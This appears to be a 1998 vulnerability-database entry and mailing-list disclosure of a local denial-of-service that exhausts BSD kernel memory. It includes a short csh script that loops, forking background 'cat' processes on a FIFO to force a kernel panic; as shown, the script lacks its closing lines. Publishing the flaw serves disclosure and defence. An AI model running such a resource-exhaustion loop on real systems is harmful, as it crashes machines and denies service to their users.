OpenBSD mkfifo DOS attack

Description:You can run the *BSD kernel out of non-pageable memory by making a fifo (via mkfifo) and forking a bunch of processes trying to cat it.
Author:Jason Downs <downsj@DOWNSJ.COM>
Compromise:Crash the system (stupid DOS attack)
Vulnerable Systems:OpenBSD, presumably NetBSD, FreeBSD, BSDI
Date:25 January 1998

Date: Sun, 25 Jan 1998 15:54:25 -0800
From: Jason Downs <downsj@DOWNSJ.COM>
Subject: Simple OpenBSD crash script

Here is a rather simple method of crashing most OpenBSD systems (and, I
assume, NetBSD or anything else running 4.4BSD vm without this problem fixed).

Most, if not all, kernels have process limits high enough for a normal
user to run the kernel out of non-pageable map entries.  The easiest way
that I have found to do this is with the enclosed script.

If the per-user process/descriptor limits are high enough, running this script
will result in a kernel panic.

set path = ( /usr/bin /usr/sbin /bin /sbin )

cd /tmp
if ( -e fifo ) then
    rm fifo
mkfifo fifo
while ( 1 )
    cat fifo >& /dev/null &

Jason Downs

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